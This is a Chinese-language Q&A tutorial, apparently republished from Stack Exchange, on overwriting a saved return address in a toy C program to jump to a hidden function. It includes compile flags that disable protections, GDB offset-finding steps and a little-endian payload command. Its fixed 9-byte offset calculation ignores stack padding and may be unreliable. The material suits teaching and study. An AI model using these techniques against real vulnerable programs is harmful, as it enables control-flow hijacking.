You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何在Linux下用GDB利用缓冲区溢出执行overflowed()函数?

栈溢出控制EIP执行overflowed()函数的实操步骤

首先是你提供的测试代码:

#include <string.h>
#include <stdio.h>

void overflowed() {
    printf("%s\n", "Execution Hijacked");
}

void function1(char *str) {
    char buffer[5];
    strcpy(buffer, str);
}

void main(int argc, char *argv[]) {
    function1(argv[1]);
    printf("%s\n", "Executed normally");
}

一、编译代码(关闭安全防护)

现代GCC默认开启栈保护机制,会阻止栈溢出攻击,所以编译时需要手动关闭:

gcc -fno-stack-protector -z execstack -m32 -o overflow overflow.c

参数说明:

  • -fno-stack-protector:关闭栈金丝雀(Stack Canary)保护
  • -z execstack:允许栈区域执行代码(避免NX保护拦截)
  • -m32:编译为32位程序(简化地址计算和调试)

二、计算缓冲区到EIP的偏移量

你之前的错误在于计算了main和overflowed的地址偏移,但我们需要的是**buffer到函数返回地址(EIP)的栈字节偏移**,具体步骤:

方式1:GDB调试验证

  1. 启动调试器:gdb ./overflow
  2. 在function1处设置断点:b function1
  3. 运行程序并传入一串重复字符(比如20个'A'):
    run $(python -c 'print "A"*20')
    
  4. 程序崩溃后,查看EIP寄存器的值:info registers eip
    • 如果EIP的值是0x41414141('A'的ASCII码),说明前面的字符刚好覆盖到EIP。此时统计到EIP被覆盖前的字符数就是偏移量。
    • 结合代码分析:buffer[5]占5字节,加上栈帧中EBP的4字节,总偏移为5+4=9字节——前9个字符填充buffer和EBP,第10-13字节将覆盖EIP。

方式2:手动计算栈布局

32位程序中,function1的栈帧结构如下(栈向下增长):

高地址
| 返回地址(EIP要覆盖的位置) |
| EBP(4字节)                |
| buffer[5](5字节)          |
低地址

所以从buffer起始到返回地址的偏移量为5+4=9字节。

三、获取overflowed()的函数地址

用objdump查看二进制文件的符号表:

objdump -d ./overflow | grep overflowed

输出类似:08048456 <overflowed>:,其中0x08048456就是overflowed()的内存地址。

也可以在GDB中直接查询:p overflowed,输出会显示函数的具体地址。

四、构造Payload并执行

Payload的结构为:[偏移量长度的填充字符] + [overflowed()地址的小端序字节]

  • 32位程序地址采用小端序存储,所以0x08048456要转换为\x56\x84\x04\x08

用Python生成Payload并运行程序:

./overflow $(python -c 'print "A"*9 + "\x56\x84\x04\x08"')

执行后会输出Execution Hijacked,说明EIP已被成功控制,程序跳转到overflowed()执行。

你之前操作失败的核心原因

你错误计算了两个函数的地址偏移,但栈溢出的核心是覆盖函数调用的返回地址,而非计算函数间的地址差。必须找到从缓冲区到返回地址(EIP)的栈字节偏移,才能精准覆盖EIP并跳转到目标函数。

内容的提问来源于stack exchange,提问作者user21893516

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.22 01:47:05